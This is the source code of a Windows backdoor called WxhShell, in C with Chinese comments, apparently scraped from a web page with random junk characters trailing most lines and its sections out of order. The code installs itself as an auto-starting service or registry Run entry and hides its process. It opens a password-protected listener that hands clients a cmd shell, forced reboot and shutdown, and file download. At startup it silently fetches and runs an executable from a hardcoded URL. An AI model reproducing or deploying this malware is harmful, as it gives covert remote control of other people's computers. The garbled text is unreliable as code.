    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L*JPe"N -e  
    if(Boot(SHUTDOWN)) uaw <  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @i%YNI5*  
    else { \Fb| {6+  
    closesocket(wsh); Qe$k3!  
    ExitThread(0); %b}gDWs  
    } _*6v|Ed?  
    break; k\7:{y@,  
    } XDz5b.,  
  // 获取shell `<fh+*  
  case 's': { 9|W V~  
    CmdShell(wsh); Z|* !y]We  
    closesocket(wsh); $_X|, v9  
    ExitThread(0); 23ze/;6%A  
    break; f3tv3>p  
  } ~<9{#uM  
  // 退出 Of[;Qn  
  case 'x': { I+;-p]~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5VE2@Fn}  
    CloseIt(wsh); K_/B?h  
    break; ,mFsM!|  
    } P?ep]  
  // 离开 Qt+:4{He  
  case 'q': { 0ejdKdYN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x?yD=Mq_  
    closesocket(wsh); XbXA+ey6  
    WSACleanup(); 9#/(N#>  
    exit(1); KL?)akk  
    break; Pz"`MB<'Ik  
        } (pR.Abq  
  } \\4Eh2 Y  
  } A74920X`W  
l!~ mxUb  
  // 提示信息 $2#7D* Rx  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NPjv)TN}3  
} SUtf[6  
  } /Cr/RG:OX  
b.yh8|&  
  return; 0GXO&rCG  
} q6q1\YB  
3f76kl(&  
// shell模块句柄 6][1 <}8  
int CmdShell(SOCKET sock) =XY]x  
{ ,^'R_efY  
STARTUPINFO si; =Agg_h   
ZeroMemory(&si,sizeof(si)); %$ceJ`%1e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >cR)?P/o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3OqX/z,  
PROCESS_INFORMATION ProcessInfo; XvGA|Ekf<  
char cmdline[]="cmd"; ]!{y a8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7C,T&g 1:  
  return 0; IB5BO7J  
} /SR^C$h'I  
<,1 fkq>,  
// 自身启动模式 ;</Lf=+Vm  
int StartFromService(void) H AB#pd9  
{ "^CXY3v  
typedef struct 'cdN3i(  
{ Iw=Sq8  
  DWORD ExitStatus; }nx=e#[g%2  
  DWORD PebBaseAddress; I$q>  
  DWORD AffinityMask; *OTS'W~t  
  DWORD BasePriority; S"2qJ!.u  
  ULONG UniqueProcessId; +8P,s[0<R_  
  ULONG InheritedFromUniqueProcessId; $1Nd_pD=  
}   PROCESS_BASIC_INFORMATION; 8<#U9]  
)NW6?Pu"  
PROCNTQSIP NtQueryInformationProcess; ]<w:V`(  
0tz:Wd*<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >yK0iK{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =tdSq"jh  
m}Y0xV9  
  HANDLE             hProcess; ` $5UHa2/  
  PROCESS_BASIC_INFORMATION pbi; ~Gv#iRi>  
\NL+}cL/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b=PVIZ  
  if(NULL == hInst ) return 0; 3sm M,fi  
": ;@Hnb/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i6PM<X,{;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7^e +  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1(dj[3Mt  
NeOxpn[  
  if (!NtQueryInformationProcess) return 0; I4_d[O9  
6L4$vJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); uQ Co6"e  
  if(!hProcess) return 0; WMuD}s  
D&:yMp(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o4^Fo p  
@e2}BhB2  
  CloseHandle(hProcess); x^=M6;:  
&<x@1,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O}ejWP8>  
if(hProcess==NULL) return 0; ) M<vAUF  
'ktHPn ,K  
HMODULE hMod; \x\ 5D^Vc  
char procName[255]; MBr:?PE7  
unsigned long cbNeeded; pd@;b5T  
6tjcAsV  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :os z  
!dcwq;Ea  
  CloseHandle(hProcess); j ) vlM+  
u:gtOjk2  
if(strstr(procName,"services")) return 1; // 以服务启动 e]>ori 8  
\' li  
  return 0; // 注册表启动 akuJz  
} Wsj=!Obc  
F@<0s&)1  
// 主模块 Kp iF0K  
int StartWxhshell(LPSTR lpCmdLine) 9h,u6e  
{ 5_o$<\I\  
  SOCKET wsl; ./-JbW  
BOOL val=TRUE; }ynT2a#LU'  
  int port=0; *wbZ;rfF  
  struct sockaddr_in door; 8cg`7(a  
Hgc=M  
  if(wscfg.ws_autoins) Install(); Oxx^[ju~  
,w)p"[^b  
port=atoi(lpCmdLine); =([av7  
=H5\$&xj4.  
if(port<=0) port=wscfg.ws_port; alFjc.~}  
c@m5 ~  
  WSADATA data; u b?K,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hq>Csj==@  
t2{~bzq1X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /uqu32;o  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i, nD5 @#  
  door.sin_family = AF_INET; Ju` [m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); kAzd8nJ'  
  door.sin_port = htons(port); |BU+:+  
K`:=]Z8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f6=w3RS  
closesocket(wsl); D$e B ,~  
return 1; jdqj=Yc  
} ctmQWrk|B  
?>uew^$d[w  
  if(listen(wsl,2) == INVALID_SOCKET) { SpTdj^]4>  
closesocket(wsl); p#d+>7  
return 1; dWRrG-'  
} M~ h8Crz  
  Wxhshell(wsl); ^C^*,V3  
  WSACleanup(); D@YP7  
|I8Mk.Z=FA  
return 0; =(r* 5vd  
< a rZbM  
} |PVt}*0"  
b%(6EiUA  
// 以NT服务方式启动 Zy"=y+e!E;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1qdZ c_x  
{ g<*jlM1r  
DWORD   status = 0; S9sR#  
  DWORD   specificError = 0xfffffff; OJ>.-"  
Bn wzcl  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zzpZ19"`1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^+70<#Xc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3HV%4nZLf  
  serviceStatus.dwWin32ExitCode     = 0; yYJY;".H  
  serviceStatus.dwServiceSpecificExitCode = 0; Al"3 kRJJ  
  serviceStatus.dwCheckPoint       = 0; 0&Gl@4oZ"  
  serviceStatus.dwWaitHint       = 0; E;\M1(\u  
8|1^|B(l  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]n1dp2aH  
  if (hServiceStatusHandle==0) return; L-i>R:N4  
*6ZCDm&N  
status = GetLastError(); y f1CXldi  
  if (status!=NO_ERROR) ;1AG3P'  
{ &rq{v!=7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; i\}:hU-U  
    serviceStatus.dwCheckPoint       = 0; iAO5"(>}?  
    serviceStatus.dwWaitHint       = 0; |lQ;ALH!  
    serviceStatus.dwWin32ExitCode     = status; {kB `>VS  
    serviceStatus.dwServiceSpecificExitCode = specificError; G&{HTYP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); eBW=^B"y+  
    return; Jcf"#u-Q/  
  } P8yIegPY  
nn~YK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <EX7WA  
  serviceStatus.dwCheckPoint       = 0; |(IO=V4P  
  serviceStatus.dwWaitHint       = 0; 0OZMlt%z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); LC69td&  
} w:=V@-S 8  
oW}!vf3z  
// 处理NT服务事件,比如:启动、停止 T`YwJ6N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]Tp U"JD  
{ U\<-mXv  
switch(fdwControl) N_wp{4 0/  
{ ks(SjEF  
case SERVICE_CONTROL_STOP: Ws[D{dS/  
  serviceStatus.dwWin32ExitCode = 0; %n?vJ#aX%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?s%v0cF  
  serviceStatus.dwCheckPoint   = 0; $< %B#axL  
  serviceStatus.dwWaitHint     = 0; V-W'RunnW  
  { L^Wz vv]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lP<I|O=z  
  } Se^^E.Z,W  
  return; >wON\N0V_  
case SERVICE_CONTROL_PAUSE: (RL>Hn;.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; cSD{$B:  
  break; 93%{scrm  
case SERVICE_CONTROL_CONTINUE: L&2u[ml  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qk{'!Ii  
  break; %HuyK  
case SERVICE_CONTROL_INTERROGATE: mB 55PYA  
  break; 3Kq`<B~%  
}; \{|ImCH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x-m/SI]_N  
} Zc5 :]]  
9M$/=>^ Z  
// 标准应用程序主函数 @s* ,xHE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3}Xc71|v  
{ LK7Xw3  
, |E$'  
// 获取操作系统版本 HxwlYx,4  
OsIsNt=GetOsVer(); 5 9 2;W-y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rGwIcx(%  
>l1 r,/\\  
  // 从命令行安装 6 vs3O  
  if(strpbrk(lpCmdLine,"iI")) Install(); `aSM8C\  
7} O;FX+x  
  // 下载执行文件 -$k>F#  
if(wscfg.ws_downexe) { xF8S*,#,*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o+?@5zw -&  
  WinExec(wscfg.ws_filenam,SW_HIDE); htJuGfDx1  
} 4jwu'7 Q  
K'b*A$5o  
if(!OsIsNt) { L4' [XcY  
// 如果时win9x,隐藏进程并且设置为注册表启动 L10IF  
HideProc(); 02b6s&L  
StartWxhshell(lpCmdLine);  @|A|  
} 7XAvd-  
else ! p.^ITM3S  
  if(StartFromService()) UZxmh sv  
  // 以服务方式启动 Q+[ .Y&  
  StartServiceCtrlDispatcher(DispatchTable); FvImX  
else W4(?HTWZ  
  // 普通方式启动 )m#']c:rg  
  StartWxhshell(lpCmdLine); C7"HQQ  
?-~I<f ]_  
return 0; :{}_|]>K  
} .KA V)So"  
|ng%PQq)  
s@@1 *VQ  
[?KIN_e#  
=========================================== 'CV^M(o'9  
vgG}d8MW37  
;)/@Xx  
J\`^:tcG  
EA0iYzV  
fEqC] *s  
" KCqqJ}G  
)2j:z#'>  
#include <stdio.h> bKz{wm%  
#include <string.h> &a #GXf  
#include <windows.h> NB)t7/Us  
#include <winsock2.h> y?:dE.5p|  
#include <winsvc.h> X>,A  
#include <urlmon.h> Y`li> .\  
,x#ztdvr  
#pragma comment (lib, "Ws2_32.lib") Da,Tav%b  
#pragma comment (lib, "urlmon.lib") Lo`F  
4F#%f#"  
#define MAX_USER   100 // 最大客户端连接数 R } %8s*  
#define BUF_SOCK   200 // sock buffer 8F6h#%9  
#define KEY_BUFF   255 // 输入 buffer ^#SBpLw  
zy)i1d  
#define REBOOT     0   // 重启 _w u*M  
#define SHUTDOWN   1   // 关机 P[i\e7mR  
2P}I'4C-  
#define DEF_PORT   5000 // 监听端口 0s%6n5>  
hPO>,j^  
#define REG_LEN     16   // 注册表键长度 Q<=Y  
#define SVC_LEN     80   // NT服务名长度 O% $O(l  
:JV\){P  
// 从dll定义API .h8M  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \qq-smcM-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); z,Xk\@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5 si}i'in  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7'.s7& '7  
UKs$W`  
// wxhshell配置信息 gGbI3^ r#  
struct WSCFG { PrnrXl S  
  int ws_port;         // 监听端口 n`<S&KP|  
  char ws_passstr[REG_LEN]; // 口令 @PXXt#  
  int ws_autoins;       // 安装标记, 1=yes 0=no y^s1t2]%  
  char ws_regname[REG_LEN]; // 注册表键名 n2'|.y}Um:  
  char ws_svcname[REG_LEN]; // 服务名 P;GprJ`l  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 qx%jAs+~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >]/dOH,A  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dU+0dZdKO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &o.iUk  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" otq,R6 ^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l9Pu&M?5  
mw+j|{[  
}; jT^!J+?6K+  
FAtWsk*pgY  
// default Wxhshell configuration \R Z3Hh  
struct WSCFG wscfg={DEF_PORT, y4<+-  
    "xuhuanlingzhe", qS]G&l6QF  
    1, (#u{ U=  
    "Wxhshell", }tR'Hz2  
    "Wxhshell", qJ Gm8^b-  
            "WxhShell Service", =] KIkS3  
    "Wrsky Windows CmdShell Service", e^frVEV  
    "Please Input Your Password: ", [=~!w_  
  1, {3 o% d:  
  "http://www.wrsky.com/wxhshell.exe", H m8y]>$  
  "Wxhshell.exe" I#c(J  
    }; iS05YW  
A2_Ls;]  
// 消息定义模块 EXHR(t}e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C'<'7g4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; f\'G`4e  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; PP4d?+;V  
char *msg_ws_ext="\n\rExit."; LUul7y'"  
char *msg_ws_end="\n\rQuit."; ?N _)>&b  
char *msg_ws_boot="\n\rReboot..."; ` ,-STIh)  
char *msg_ws_poff="\n\rShutdown..."; x!+Z{x   
char *msg_ws_down="\n\rSave to "; }200g_^  
#M:B3C!ouY  
char *msg_ws_err="\n\rErr!"; 1^sbT[%R  
char *msg_ws_ok="\n\rOK!"; I~k=3,7<  
3_U\VGm  
char ExeFile[MAX_PATH]; enPYj.*/0  
int nUser = 0; Hdna{@~  
HANDLE handles[MAX_USER]; Nh:4ys!P  
int OsIsNt; Cqa3n[Mhw1  
X|)Il8  
SERVICE_STATUS       serviceStatus; B$`d&7I;D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @>Ek'~m  
_UIgRkl.  
// 函数声明 +gNX7xuY  
int Install(void); )|:8zDuJ  
int Uninstall(void); @?M; 'xMbB  
int DownloadFile(char *sURL, SOCKET wsh); 40+fGRyOL  
int Boot(int flag); 2%]t3\XW  
void HideProc(void); Xv&%2-V;  
int GetOsVer(void); w3d\0ub  
int Wxhshell(SOCKET wsl); j]Ua\|t  
void TalkWithClient(void *cs); ]!-R<[b 6  
int CmdShell(SOCKET sock); tnJ`D4  
int StartFromService(void); N.vG]%1"  
int StartWxhshell(LPSTR lpCmdLine); d3(+ztmG!  
2{gwY85:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2D_6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D:6N9POB  
C\/b~HU  
// 数据结构和表定义 m&ZJqsZIL  
SERVICE_TABLE_ENTRY DispatchTable[] = 8_Jj+  
{ #'KY`&Tw&  
{wscfg.ws_svcname, NTServiceMain}, Tz2x9b\82  
{NULL, NULL} > XZg@?Iw  
}; ^@Y9!G=  
&gJW6 <  
// 自我安装 6ku8`WyoF  
int Install(void) d}pGeU'  
{ d4V 2[TX  
  char svExeFile[MAX_PATH]; "d:.*2Z2  
  HKEY key; 7s!AH yZ  
  strcpy(svExeFile,ExeFile); ec#_olG%  
c%b\CP\)W  
// 如果是win9x系统,修改注册表设为自启动 du8!3I  
if(!OsIsNt) { Cl{{H]QngX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nE^wxtY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k=FcPF"  
  RegCloseKey(key); pBvo M={2!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x6jm -n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O/nqNQ?<  
  RegCloseKey(key); O2$!'!hz  
  return 0; ^Jn|*?+l  
    } <G&WYk%u*  
  } ~V!EtZG$  
} v(a9#bMZU  
else { PQQgDtiH  
?'T"?b<  
// 如果是NT以上系统,安装为系统服务 HoMQt3C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Qk|( EFQ9  
if (schSCManager!=0) D8a)(wm  
{ e5FCqNip'  
  SC_HANDLE schService = CreateService #%qqL  
  ( ^?#@[4?"  
  schSCManager, ]y$)%J^T  
  wscfg.ws_svcname, [;Vi~$p|Eo  
  wscfg.ws_svcdisp, (tTLK0V-|3  
  SERVICE_ALL_ACCESS, e1oFnu2R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )!BB/'DRQ  
  SERVICE_AUTO_START, KqFmFcf|  
  SERVICE_ERROR_NORMAL, _AVy:~/  
  svExeFile, +V6j`  
  NULL, rknzo]N,  
  NULL, MG;4M>H  
  NULL, IM$ 'J  
  NULL, LxIuxt=X|p  
  NULL `Nkx7Z~w:  
  ); Qa>%[jx,@,  
  if (schService!=0) ozT._ C  
  { T..-)kL+p  
  CloseServiceHandle(schService); >Zi|$@7t-  
  CloseServiceHandle(schSCManager);  'Dnq+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4 3}qaf[  
  strcat(svExeFile,wscfg.ws_svcname); -v;iMEZ)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { //VG1@vaVX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #@IQlqJfY7  
  RegCloseKey(key); n (9F:N  
  return 0; Lqg7D\7j  
    } w6%l8+{R  
  } 5/*)+  
  CloseServiceHandle(schSCManager); %`bLmfm  
} #d3[uF]OmW  
} AX/=}G  
&mCs%l  
return 1; ( ?atGFgu  
} *4zoAslU1  
>:="?'N5l!  
// 自我卸载 g]:..W7  
int Uninstall(void) V=:,]fTr  
{ Z?5,cI[6#  
  HKEY key; u!sSgx =  
M|5^':Y  
if(!OsIsNt) { ^w.k^U=B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VG? yL2y  
  RegDeleteValue(key,wscfg.ws_regname); A)=X?x  
  RegCloseKey(key); }Ox2olUX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z`e$~n(Bh  
  RegDeleteValue(key,wscfg.ws_regname); AEBw#v!,o  
  RegCloseKey(key); *9\oD~2Y  
  return 0; #1gTpb+t  
  } 9 ?EY.}~  
} LPtx|Sx![  
} +# m   
else { F[Qsv54  
C6Um6 X9/i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ZS07_6.~  
if (schSCManager!=0) Rt*-#`I $  
{ eW<!^Aer  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E;ndw/GZjR  
  if (schService!=0) (\5<GCW-  
  { Lx|w~+k}  
  if(DeleteService(schService)!=0) { JI28}Cxs0  
  CloseServiceHandle(schService); {'cs![U  
  CloseServiceHandle(schSCManager); FZ;Y vdX6  
  return 0; uOy\{5s8  
  } }s8*QfK>  
  CloseServiceHandle(schService); g;| n8]  
  } N9~'P-V  
  CloseServiceHandle(schSCManager); _Eet2;9  
} C`=`Ce~|d  
} 3/]f4D{MMY  
O :5ldI  
return 1; 3?-V>-[G_  
} F 5b]/;|  
KyVe0>{_u  
// 从指定url下载文件 B{=,VwaP_  
int DownloadFile(char *sURL, SOCKET wsh) 6'3Ey'drH  
{ 6EW"8RG`  
  HRESULT hr; >B|ofwm*  
char seps[]= "/"; ulJ+:zwq$  
char *token; / r`Y'rm  
char *file; ZVCv(J  
char myURL[MAX_PATH]; y0W`E/1t  
char myFILE[MAX_PATH]; ?Vb=4B{~  
^^U)WB  
strcpy(myURL,sURL); @DjG? yLK$  
  token=strtok(myURL,seps); YQlpk@X`2  
  while(token!=NULL) )[a?J,  
  { zXA= se0U  
    file=token; [bQ8A(u  
  token=strtok(NULL,seps); ^+YGSg7  
  } ^+.e5roBKj  
IWSEssP  
GetCurrentDirectory(MAX_PATH,myFILE); av$\@4I  
strcat(myFILE, "\\"); #dXZA>b9  
strcat(myFILE, file);  @=^jpSnZ  
  send(wsh,myFILE,strlen(myFILE),0); vCrWA-q#  
send(wsh,"...",3,0); vM$#m1L?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); LQuYCfj|  
  if(hr==S_OK) o>!~*b';g,  
return 0; 9 ;! uV>-H  
else ** "s~  
return 1; W"DxIy  
JN9HT0  
} lVO(9sl*i  
0o\=0bH&s  
// 系统电源模块 TO8\4p*tE  
int Boot(int flag) 2gNBPd)I  
{ tF)k6*+  
  HANDLE hToken; p5D3J[?N  
  TOKEN_PRIVILEGES tkp; *PA1iNdKS  
8wNU2yH+D  
  if(OsIsNt) { 3vEjf  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mSqk[ Ig\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); TbSt {TX  
    tkp.PrivilegeCount = 1; ff2.| 20  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kgib$t_7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); aF_ZV bS  
if(flag==REBOOT) { y0Q/B|&[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #gr+%=S'6C  
  return 0; m/"=5*pA  
} &dHm!b  
else { 'FvhzGn9Q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1]zyME  
  return 0; 7Ohu$5\  
} L< nkI  
  } A+Pm "|  
  else { :7AauoI  
if(flag==REBOOT) { 2v; 7ohK  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) D=Yag!1  
  return 0; Y_TL4  
} "#"Fp&Z7  
else { e&VR>VJEA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0zk T8'v  
  return 0; c&iK+qvh{  
} 4FP~+  
} AfbA.-  
R2Fh^x  
return 1; clU3#8P!=  
} 9jJ/ RXp  
EIl$"^-  
// win9x进程隐藏模块 >@92K]J  
void HideProc(void) w1/T>o  
{ MsVI <+JZ  
RHA>fXp  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); WSX@0A.&)  
  if ( hKernel != NULL )  z]R!l%`  
  { mk3e^,[A  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !n?*vN=S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 77[;J  
    FreeLibrary(hKernel); .]d tRH<  
  } cbHn\m)J,  
"5z6~dq  
return; @):NNbtA  
} Bo\dt@0;  
X;[zfEB  
// 获取操作系统版本 '%r@D&*vp  
int GetOsVer(void) 8 H"f9S=K  
{ "/]tFY%Y  
  OSVERSIONINFO winfo; \(v_",  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); DWevg;_]$(  
  GetVersionEx(&winfo); Gxt<kz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9Z_OLai  
  return 1; q@!H^hd}  
  else =;?PVAdu%#  
  return 0; 38.J:?Q  
} c#-97"_8  
$oBZe>s .  
// 客户端句柄模块 as47eZ0\  
int Wxhshell(SOCKET wsl) #K~j9DuR  
{ 1RO gUJ;  
  SOCKET wsh; 1VM5W!}  
  struct sockaddr_in client; NCh(-E  
  DWORD myID; XIW: Nk!S  
&+|4(d1  
  while(nUser<MAX_USER) b5,}w:  
{ y5tAp  
  int nSize=sizeof(client); FZI 4?YD?<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S5JR`o  
  if(wsh==INVALID_SOCKET) return 1; ezy5Jqk5%  
K*i1! "w  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ac(Vw%  
if(handles[nUser]==0) 4I[FE;^  
  closesocket(wsh); #YMp,i  
else <$Kv^Y*  
  nUser++; \EfwS% P  
  } blkJm9]v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &@Gu~)^(  
m.g@S30  
  return 0; vpw&"?T  
} +W3>Yg%)X  
5x'y{S<  
// 关闭 socket 9%k.GE  
void CloseIt(SOCKET wsh) v\tbf  
{ 7 QJcRZ[lU  
closesocket(wsh); :^L]Da3  
nUser--; SG o:FG  
ExitThread(0); $Lbe5d?\  
} %Yn)t3d  
|MR?8A^"  
// 客户端请求句柄 wLp t2b8S  
void TalkWithClient(void *cs) Tsp-]-)  
{ sN) .Jo  
PvBbtC-9b  
  SOCKET wsh=(SOCKET)cs; %YAiSSsV  
  char pwd[SVC_LEN]; \@t5S  
  char cmd[KEY_BUFF]; ]|BSX-V.%i  
char chr[1]; MOeLphY  
int i,j; hd BC ^n  
e*Med)tc^$  
  while (nUser < MAX_USER) { wef^o"aP  
NS~knR\&  
if(wscfg.ws_passstr) { ;l4 \^E1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9{#|sABGD  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'i-O  
  //ZeroMemory(pwd,KEY_BUFF); n\p\*wb  
      i=0; D}U<7=\3H  
  while(i<SVC_LEN) { YGmdiY:;1  
Qg.:w  
  // 设置超时 +B|X k[  
  fd_set FdRead;  ;I@L  
  struct timeval TimeOut; #E@i@'T  
  FD_ZERO(&FdRead); YfU#kvE'  
  FD_SET(wsh,&FdRead); k0uwG'(z9  
  TimeOut.tv_sec=8; N9|.D.#MF  
  TimeOut.tv_usec=0; Oo .Qz   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~ b_gwJ'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #iDFGkK/  
YU,:3{9,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *c c+Fd  
  pwd=chr[0]; YYh_lAS>  
  if(chr[0]==0xd || chr[0]==0xa) { @O @yJ{(I  
  pwd=0; cY]Y8T)  
  break; <~*Ol+/  
  } j7+t@DqQ  
  i++; vp9<.*h  
    } _ 7.y4zQJ  
jch8d(`?d  
  // 如果是非法用户,关闭 socket ay|{!MkQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .4(f0RG  
} *03/ :q^(  
s@iCfXU  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *?"{T;4u~O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <BA&S _=4  
"uC*B4`  
while(1) { K7VG\Ec  
jdf@lb=5l  
  ZeroMemory(cmd,KEY_BUFF); Z!eq/  
w8ld* z  
      // 自动支持客户端 telnet标准   =Q/>g6  
  j=0; I*2rS_i[T  
  while(j<KEY_BUFF) { mnj A8@1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eF1%5;" W  
  cmd[j]=chr[0]; XOU$3+8q5  
  if(chr[0]==0xa || chr[0]==0xd) { ]w_)Spo.  
  cmd[j]=0; =lD]sk  
  break; 34:EpZO@  
  } VrxH6Y  
  j++; BAHx7x#(  
    } y]9U FL"  
2f4c;YS  
  // 下载文件 nHrCSfK  
  if(strstr(cmd,"http://")) { ~]M"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :L0W"$  
  if(DownloadFile(cmd,wsh)) -=IM8Dny  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )&<ExJQ&  
  else V,5}hQJ F  
